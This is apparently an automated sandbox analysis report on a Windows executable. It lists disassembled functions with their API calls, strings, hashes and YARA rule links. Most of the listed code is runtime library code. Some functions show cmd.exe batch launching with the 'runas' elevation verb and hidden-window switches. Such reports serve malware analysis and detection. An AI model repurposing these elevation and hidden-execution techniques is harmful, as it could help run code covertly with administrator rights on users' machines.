API ID: std::locale::_$Locimp::_$AddfacLocimp_std::_$Lockit$H_prolog3Lockit::_$FreeInitLocalLocinfo::_Locinfo_ctorLockit::~_MakelocSetgloballocale__cftoe
String ID: bad locale name
API String ID: 3103716676-1405518554
Opcode ID: a3cac39a8a8b266966b548cb2ae7731e307bdb8e440ec5d3853fb3ee52506649
Instruction ID: 6c61c655154048fb944be5066b4b65a4b2a5d4b2806162b7b9f9688a27f59109
Opcode Fuzzy Hash: a3cac39a8a8b266966b548cb2ae7731e307bdb8e440ec5d3853fb3ee52506649
Instruction Fuzzy Hash: 6AF1AD71D01258DFDB10CFA8D984BAEBBF1EF09304F2441A9E80DAB381E7759A44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B257C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,823FDEC6,?,-00000010), ref: 00B257D0
OpenProcessToken.ADVAPI32(00000000), ref: 00B257D7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00B2580C
CloseHandle.KERNEL32(?), ref: 00B25822

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: d7baa7ddb3bafbf9b9af5e013550fc5de76b022dfd5982142e49119d891a5c16
Instruction ID: 6aee845d7df1e976429623b8817fb67e2851abf28ce018b80cc5d39be7e0fde5
Opcode Fuzzy Hash: d7baa7ddb3bafbf9b9af5e013550fc5de76b022dfd5982142e49119d891a5c16
Instruction Fuzzy Hash: EFF01D74188301ABEB109F20EC49BAA7BE8FB44704F508859FD84C21A0DBB9955CDB73

Uniqueness

Uniqueness Score: -1.00%

Function 00B2CDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(823FDEC6,?,?,?,?,?,?,?,?,?,00B656D5,000000FF), ref: 00B2CDE8

Part of subcall function 00B21F80: LocalAlloc.KERNEL32(00000040,00000000,?,?,vector too long,00B24251,823FDEC6,00000000,?,00000000,?,?,?,00B64400,000000FF,?), ref: 00B21F9D

ExitProcess.KERNEL32 ref: 00B2CEB1

Part of subcall function 00B26600: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00B2667E

Strings

Full command line:, xrefs: 00B2CE13

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: 5d717a639c54b468865b282b0501eab90a072e532089d244999364f75319c77d
Instruction ID: cea823f08d3dc15e36daeb4f00ecc03a3d24bb9d85a2d54d6e43b945560b0176
Opcode Fuzzy Hash: 5d717a639c54b468865b282b0501eab90a072e532089d244999364f75319c77d
Instruction Fuzzy Hash: 7F212131910264ABCB15FB60EC42BEE77E1AF14740F104598F41AAB292EF786B08C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00B25E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00B25E18,823FDEC6,?), ref: 00B25EB4
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00B25E18,823FDEC6,?), ref: 00B25EBE
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00B25E18,823FDEC6,?), ref: 00B25F1A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 767604aefca442bc2640a850f663760197d32149402f542376a4a9507d5e9fb7
Instruction ID: 888d99a46b0bda7eebbaafcef9b2683138571500afed8343c94efdc07677ed30
Opcode Fuzzy Hash: 767604aefca442bc2640a850f663760197d32149402f542376a4a9507d5e9fb7
Instruction Fuzzy Hash: C7318F71A006159FDB20CF58DD45BAFBBF9FB44714F10456EE519E7280DBB569008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B3862E Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B38635
_Getvals.LIBCPMT ref: 00B38651

Part of subcall function 00B31D36: std::_Locinfo::_Getdays.LIBCPMT ref: 00B31D61
Part of subcall function 00B31D36: _Maklocstr.LIBCPMT ref: 00B31D67
Part of subcall function 00B31D36: std::_Locinfo::_Getmonths.LIBCPMT ref: 00B31D7A
Part of subcall function 00B31D36: _Maklocstr.LIBCPMT ref: 00B31D80
Part of subcall function 00B31D36: _Maklocstr.LIBCPMT ref: 00B31D8F

Part of subcall function 00B423F8: GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00B400E2,00000000,00000000,00000004,00B3ED14,00000000,00000004,00B3F127,00000000,00000000), ref: 00B42410

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Maklocstr$Locinfo::_std::_$GetdaysGetmonthsGetvalsH_prolog3InfoLocale
String ID:
API String ID: 1702918112-0
Opcode ID: 1b52960a35d31e1fffb9a26ec5b7a97265cbdb6fc730b173d0ab44b652e4a2d6
Instruction ID: ca788e670b749db5f2a38855da03bf66e0b70a95289b407e3ca1f79d53266943
Opcode Fuzzy Hash: 1b52960a35d31e1fffb9a26ec5b7a97265cbdb6fc730b173d0ab44b652e4a2d6
Instruction Fuzzy Hash: 5FE08CF0C003009FCB20EFB8840161EBAF0FF04700B008DAEA558D7201D7B48700AB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B570BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00B5596A,00000001,00000364,?,00000006,000000FF,?,00B46CE7,00000000,00B53841,00000000), ref: 00B570FC

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 07a2c646254de83255044a0a614818ff0d189400e31e200e4e394365ec88426e
Instruction ID: ff6253fdee2c172de91dd24a12f7fb737a9ee7f66b378b560fcd2cca8ac3e6b3
Opcode Fuzzy Hash: 07a2c646254de83255044a0a614818ff0d189400e31e200e4e394365ec88426e
Instruction Fuzzy Hash: 0AF0B4313CC62067AB225A22AC02F5A77D9EF51773B1840E1BC14EB1D0CE60EC0886E1

Uniqueness

Uniqueness Score: -1.00%

Function 00B55BDC Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00B53841,?,00B5543A,?,00000000,?,00B46CE7,00000000,00B53841,00000000,?,?,?,00B5363B), ref: 00B55C0E

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 78b2e39736c2263c835a0162f428565810c4b08bfd21c4c2d5b68cc9d42a7bb6
Instruction ID: 0e9a5d33f85fe8fb6b7d02200ea28f08ca0dbd8732d724b07a82e443064880b4
Opcode Fuzzy Hash: 78b2e39736c2263c835a0162f428565810c4b08bfd21c4c2d5b68cc9d42a7bb6
Instruction Fuzzy Hash: D4E0ED31204B21ABD6322A699D21B9A37CCEF113A3F0101E0FC96962E0CF60CC4886F9

Uniqueness

Uniqueness Score: -1.00%

Function 00B29910 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B30DF9: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00B30E11

Part of subcall function 00B29730: std::locale::_Init.LIBCPMT ref: 00B29763
Part of subcall function 00B29730: std::_Lockit::_Lockit.LIBCPMT ref: 00B2978A
Part of subcall function 00B29730: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B297F0

LocalFree.KERNEL32(00000000,00000000,?,00B754B1,00000000), ref: 00B299BF
__cftoe.LIBCMT ref: 00B29B0B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_std::locale::_$FreeInitLocalLocimpLocimp::_Locinfo::_Locinfo_ctorLockitLockit::___cftoe
String ID:
API String ID: 810108568-0
Opcode ID: 6958a31143949c3ff4ce1952d3402aa3c2a3b40a62296c3d7ab2b942b2aa588e
Instruction ID: bc778758634bc40b5ecf0bde2408fff857f6940eb1cf9b9981162a5385fa88b4
Opcode Fuzzy Hash: 6958a31143949c3ff4ce1952d3402aa3c2a3b40a62296c3d7ab2b942b2aa588e
Instruction Fuzzy Hash: C92180709002599FEB14DF94C955BEEFBF5EB08720F10426DE419A73C0DBB95A84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B26330 Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?,00B30E04,00000020,?,?,00B29942,00000000,823FDEC6,?,?,?,?,00B650DD,000000FF), ref: 00B26336

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c86b6e40346bd0614dafc6e1834dc04edd64e452904f6e4d692f5d369c1bdde7
Instruction ID: ad87681ad463e17816048e3d0472ac8989a0792c34918662b6096493def4a57b
Opcode Fuzzy Hash: c86b6e40346bd0614dafc6e1834dc04edd64e452904f6e4d692f5d369c1bdde7
Instruction Fuzzy Hash: 46A002759A8200ABDE415B909E0BF097A61BB85B05F104C45F3596A0E08EB94420EB16

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B252F0 Relevance: 52.9, APIs: 14, Strings: 16, Instructions: 402libraryloadersleepCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,?,?,?,?,?), ref: 00B2549C
GetForegroundWindow.USER32(00000000,?,?,?,?,?), ref: 00B2551D
ShellExecuteExW.SHELL32(?), ref: 00B25601
ShellExecuteExW.SHELL32(?), ref: 00B25637
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00B2567C
GetProcAddress.KERNEL32(00000000), ref: 00B25685
AllowSetForegroundWindow.USER32(00000000), ref: 00B2568B
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00B256AB
GetProcAddress.KERNEL32(00000000), ref: 00B256AE
Sleep.KERNEL32(00000064,?,?,?,?,?,?), ref: 00B256CA
EnumWindows.USER32(00B25830,?), ref: 00B256DF
BringWindowToTop.USER32(00000000), ref: 00B256F4
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?), ref: 00B25711
GetExitCodeProcess.KERNEL32(?,?), ref: 00B2571B

Strings

Verb:<, xrefs: 00B2559E
/C ""%s" %s", xrefs: 00B254C1
FilePath:<, xrefs: 00B25589
ShellExecuteInfo members:, xrefs: 00B25540
.bat, xrefs: 00B25422
runas, xrefs: 00B254EC
Directory:<, xrefs: 00B255B2
Kernel32.dll, xrefs: 00B25677, 00B256A6
%s\System32\cmd.exe, xrefs: 00B254A9
Visible, xrefs: 00B255DB, 00B255EA
Parameters:<, xrefs: 00B255C6
Window Visibility:, xrefs: 00B255E3
GetProcessId, xrefs: 00B25672, 00B256A1
.cmd, xrefs: 00B2545F
Hidden, xrefs: 00B255D6
open, xrefs: 00B254D5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Window$AddressExecuteForegroundHandleModuleProcShellWindows$AllowBringCodeDirectoryEnumExitObjectProcessSingleSleepWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$Directory:<$FilePath:<$GetProcessId$Hidden$Kernel32.dll$Parameters:<$ShellExecuteInfo members:$Verb:<$Visible$Window Visibility:$open$runas
API String ID: 697762045-2796270252
Opcode ID: 4fe906d094fb4dafd6623d07e06de429b58e1ef8941c6fc6b12d255e73cf134c
Instruction ID: 62e3d9985f0067a5b926cdf8f4dd186f9bf71d52f1728aebb70b371aef2adc6a
Opcode Fuzzy Hash: 4fe906d094fb4dafd6623d07e06de429b58e1ef8941c6fc6b12d255e73cf134c
Instruction Fuzzy Hash: F6E1E231E00A199BCF20DFA8D844BAEB7F1EF48710F5481A9E819EB391DB749D40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B2C870 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 366registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00B2CBB6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00B7E6D0,00000800), ref: 00B2CBD3

Strings

/EnforcedRunAsAdmin , xrefs: 00B2C893, 00B2C8A3, 00B2C8A8
/DontWait , xrefs: 00B2C8D8, 00B2C8EE, 00B2C8F3
/RunAsAdmin , xrefs: 00B2C92B, 00B2C94C, 00B2C951
/HideWindow, xrefs: 00B2C98E, 00B2C9AC, 00B2C9B1
/LogFile, xrefs: 00B2CA07
/DIR , xrefs: 00B2C9F3

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DIR $/DontWait $/EnforcedRunAsAdmin $/HideWindow$/LogFile$/RunAsAdmin
API String ID: 4153817207-482544602
Opcode ID: e0c8e822276e5b55ee606fcef091c28cfdb76058440b6391a7a68a0c783b119b
Instruction ID: 6ab823c6648e98d272d1d1d04d040f9d9b1f7583f7cd0436aa16392d4506487b
Opcode Fuzzy Hash: e0c8e822276e5b55ee606fcef091c28cfdb76058440b6391a7a68a0c783b119b
Instruction Fuzzy Hash: F9C1D4359042368ACB359F14E84137E7BE1EFA5740F5884DAE88E9B295EB70CD82C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00B5DE24 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

GetACP.KERNEL32(?,?,?,?,?,?,00B542D9,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B5DEE5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00B542D9,?,?,?,00000055,?,-00000050,?,?), ref: 00B5DF10
_wcschr.LIBVCRUNTIME ref: 00B5DFA4
_wcschr.LIBVCRUNTIME ref: 00B5DFB2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00B5E073

Strings

utf8, xrefs: 00B5DFE2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: c070fefbb13b8ee8ba3f687afb59a66be5acaffb63bba77b96a799b268899c3b
Instruction ID: a860b851e1b711e7385b09f99ae50da645d4041f2798c3b66973ef1adabd9fde
Opcode Fuzzy Hash: c070fefbb13b8ee8ba3f687afb59a66be5acaffb63bba77b96a799b268899c3b
Instruction Fuzzy Hash: B471C471600306AADB39AB348C87BBA73E8EF14702F1445E9FD159B1C1EBB4EE488751

Uniqueness

Uniqueness Score: -1.00%

Function 00B5F032 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B5F216

Strings

1#SNAN, xrefs: 00B5F13E
1#INF, xrefs: 00B5F168
1#QNAN, xrefs: 00B5F145
1#IND, xrefs: 00B5F137

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1dd449ffb8e26778dcd53060725540d918cebb5a9114ff3b10cbefc684548092
Instruction ID: 7fef715ecda9054f19ca54ea3934c8d279daca03387176cd92de58853c577ce6
Opcode Fuzzy Hash: 1dd449ffb8e26778dcd53060725540d918cebb5a9114ff3b10cbefc684548092
Instruction Fuzzy Hash: 63D23971E086298FDB65DE28DD807EAB7F5EB44305F1441EAD80DE7240EB78AE858F41

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E5B3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00B5E8D1,00000002,00000000,?,?,?,00B5E8D1,?,00000000), ref: 00B5E64C
GetLocaleInfoW.KERNEL32(?,20001004,00B5E8D1,00000002,00000000,?,?,?,00B5E8D1,?,00000000), ref: 00B5E675
GetACP.KERNEL32(?,?,00B5E8D1,?,00000000), ref: 00B5E68A

Strings

ACP, xrefs: 00B5E5D1
OCP, xrefs: 00B5E607

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d7241b59daac4790a8686b0a60c0a3d1eebc07dc344527b921d2f5741b9fcbeb
Instruction ID: 2ecbc69c3a6efbbad8ef13a805804d09594141611a56b0cb2618512fe160f73f
Opcode Fuzzy Hash: d7241b59daac4790a8686b0a60c0a3d1eebc07dc344527b921d2f5741b9fcbeb
Instruction Fuzzy Hash: F1217172640101AADB38CF14C904B9777E6EB74BA6B5684E4ED2ADB110FB32EF49C750

Uniqueness

Uniqueness Score: -1.00%

Function 00B29CC0 Relevance: 7.9, APIs: 5, Instructions: 441COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B29E60
LocalFree.KERNEL32(00000000), ref: 00B29EB7
_swprintf.LIBCMT ref: 00B2A0A0
LocalFree.KERNEL32(00000000), ref: 00B2A0F7
_swprintf.LIBCMT ref: 00B2A183

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID:
API String ID: 2429749586-0
Opcode ID: 95ea8dbefdf208e31f8dd0cf246a3f0df6bf4b2d65825613c2dda17177032e36
Instruction ID: f11709a5b5df01ee8dddea67e4744940ba2ffce5a4b134e1c2bc57dfddee02f1
Opcode Fuzzy Hash: 95ea8dbefdf208e31f8dd0cf246a3f0df6bf4b2d65825613c2dda17177032e36
Instruction Fuzzy Hash: 5CF1AC71D10229ABDF15DFA8EC40BAEBBF5FF48300F144269F919A7280DB35A941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B5E788 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B557CC: GetLastError.KERNEL32(?,00000008,00B5AD4C), ref: 00B557D0
Part of subcall function 00B557CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B55872

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00B5E894
IsValidCodePage.KERNEL32(00000000), ref: 00B5E8DD
IsValidLocale.KERNEL32(?,00000001), ref: 00B5E8EC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00B5E934
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00B5E953

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1bfc11905707de4939be49e8177ea1428f565b7699ed94c73516309f3b851beb
Instruction ID: 7b309aefad8879411310ee50af81caccfed3c5905e718b474490a96e96b4eec8
Opcode Fuzzy Hash: 1bfc11905707de4939be49e8177ea1428f565b7699ed94c73516309f3b851beb
Instruction Fuzzy Hash: 34515F71A00215AAEB24DFA5DC45BBA77F8EF49702F1445E9ED20E7190DBB0DA08CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B55D6D Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B55DFA

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
